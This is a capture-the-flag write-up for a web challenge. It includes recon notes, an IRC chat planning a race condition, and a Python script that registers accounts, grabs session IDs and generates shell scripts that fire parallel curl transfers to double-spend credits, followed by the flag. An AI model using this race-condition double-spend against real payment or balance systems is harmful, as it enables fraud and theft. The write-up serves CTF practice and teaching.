day 12 - Naughty List [general]

day 12 - Naughty list

Santa has been abusing his power and is union busting us elves. Any elves caught participating in union related activities have been put on a naughty list, if you can get me off the list I will give you a flag.

https://i.imgur.com/PIK6S2i.png

Recon

We're provided a web application that allows user registration. A new account has a default balance of 1 credit which you can send to a "default" address (belonging to Santa).

More findings:

  • Destination addresses are 'encoded'.
  • Registration usernames are alphanummeric.
  • Account creation was limited to max. 15 per hour (per IP).
  • Attempted a (simple) XSS/CSRF on the contact form - dead end.
  • b0bb, CTF organizer, mentioned the database is cleared once an hour.

The goal is to obtain an account balance of 1000 credits.

Fancy URLs / Payment address / destination format

The web application creates URLs dynamically, containing: [a-zA-Z0-9_-]. This weird encoding seems to be <96bit><base64blob><128bit>. See script below to create quick valid payloads.

Quick script to generate payloads that work as addresses (we guessed the user:<username> format):

>>> import strencode as s
>>> s.do_req("user:santa")
'LtUy21cNaqVSSHCkL3FQUUQyb2NsQT097Xo6qF8Ae9LJUrlEwMxXBg'

However, the server side code just splits on : so :username is just as valid. Could be an indicator of php bindParam stuff.

Anyway, this allows us to send a single credit to a specified user of our choice by generating their destination address, as opposed to only being able to send to Santa.

Racing

After a while, we noticed there is a delay whilst sending a credit.

[23:36:00] <kmhn> btw
[23:36:04] <kmhn> takes quite a while
[23:36:11] <kmhn> when sending a credit successfully
[23:37:42] <BLVSTY> eh yah there appears to be a noticable time delay
[23:37:55] <kmhn> 1.1s
[23:38:19] <BLVSTY> yah i notice about ~1 sec diff
[23:38:23] <BLVSTY> between out of funds
[23:38:25] <BLVSTY> versus succesfull
[23:38:32] <kmhn> i mean
[23:38:36] <kmhn> it's just one insert/update
[23:38:44] <kmhn> shouldn't take long
[23:38:46] <BLVSTY> right
[23:38:49] <BLVSTY> so thats suspicious
[23:31:12] <BLVSTY> also I was thinking maybe we can exploit some race condition
[23:31:26] <kmhn> double spend?
[23:31:29] <BLVSTY> open 1000 tcp connections
[23:31:37] <BLVSTY> write entire HTTP request for POST to transfer coins
[23:31:40] <BLVSTY> MINUS the final \r\n
[23:31:45] <BLVSTY> then blast \r\n's to all sockets
[23:31:49] <BLVSTY> and see how much cash we end up with
[23:31:53] <kmhn> hm
[23:31:59] <kmhn> actually can work
[23:32:07] <BLVSTY> I know, thats how I paid off my mortgage

With this delay in mind, we began sending multiple requests in hopes of creating duplicate transfers.

Solution

Our hacky solution (as per usual) involves programatically creating 2 users and writing 2 shell scripts a.sh, b.sh, where each shell script is responsible for sending an amount to the other user, essentially bouncing & duplicating credits between the two.

Since a.sh and b.sh for the first run only send 1 credit, we need to re-generate those scripts when more funds become available.

#!/usr/bin/python

import random
import string
import requests
import sys
import time
import os

URL="http://3.93.128.89:1212"

DEST_USER = sys.argv[1]

random.seed(time.time())

def rand_str(stringLength=10):
    """Generate a random string of fixed length """
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(stringLength))


def register(u, p):
    return "You registered successfully." in requests.post(
        URL + "/?page=V8qMXro4tr7dCOnva0lpUDZtaEYrVlE9YC657Xy-y5AV0y-kaaqRRw",
        cookies=COOKIES,
        data={'username': u, 'password': p, 'confirm': p}
    ).text

def login(u, p):
    return requests.post(
        URL + "/?page=nLs09O0i3BRE9c5EdnNNUThwND3ICEIkvNLmXYOIyCyxwLRq",
        cookies=COOKIES,
        data={'username' : u, 'password': p}
    ).text

def transfer(dst):
    return requests.post(
        URL + "/?page=BUmSfjj27GSXz0mMSm9JTU5ka3VUdz09Xy1g4s1QZmV5U4i1SYomEQ",
        cookies = COOKIES,
        data = {'credits': "1", 'destination': dst}
    ).text

def oracle(s):
    return requests.get(
        URL + "/?page=" + requests.utils.quote(s), cookies=COOKIES
    ).url.split("from_page=")[1]


RAND_USER1 = sys.argv[1]
RAND_USER2 = sys.argv[2]

NUM_CRED = int(sys.argv[3])

PASSWORD = "letmein"

COOKIES = requests.get(URL).cookies

if not register(RAND_USER1, PASSWORD):
    print "failed to reg user1"

if not register(RAND_USER2, PASSWORD):
    print "failed to reg user2"

#DEST_A = oracle("sendto:"+RAND_USER1)
#DEST_B = oracle("sendto:"+RAND_USER2)

DEST_A = "8OuvH_aMLZArHicGZE9uSGRFSk9TenBRSGVIUkhYUT10o9KR8ihV8SRhFl1oaC1F"
DEST_B = "xYMiHFIH0nW0w7XtYWl5YlpYQTlFL0dRSTBKdGlsND0d8dLiFM6Y4twYSgKSMiLI"

print "DEST_A: " + DEST_A
print "DEST_B: " + DEST_B

COOKIES = requests.get(URL).cookies
login(RAND_USER1, PASSWORD)
SESS_ID_A = COOKIES['PHPSESSID']

COOKIES = requests.get(URL).cookies
login(RAND_USER2, PASSWORD)
SESS_ID_B = COOKIES['PHPSESSID']

shell_a = 'curl -vvv -b "PHPSESSID=%s" -d "destination=%s&credits=%d" "%s/?page=3QN-mHvZHuHreZIQWTBFZDl5VjZvUT09pL76AwlEbbTGupOfvlkgfQ" &\n' % (SESS_ID_A, DEST_B, NUM_CRED, URL)
shell_b = 'curl -vvv -b "PHPSESSID=%s" -d "destination=%s&credits=%d" "%s/?page=3QN-mHvZHuHreZIQWTBFZDl5VjZvUT09pL76AwlEbbTGupOfvlkgfQ" &\n' % (SESS_ID_B, DEST_A, NUM_CRED, URL)

fh = open("a.sh", "w")
fh.write("#!/bin/sh\n\n"+shell_a*30)
fh.close()

fh = open("b.sh", "w")
fh.write("#!/bin/sh\n\n"+shell_b*30)
fh.close()

os.chmod("a.sh", 0o777)
os.chmod("b.sh", 0o777)

Flag

AOTW{S4n7A_c4nT_hAv3_3lF-cOnTroL_wi7H0uT_eLf-d1sCipl1N3}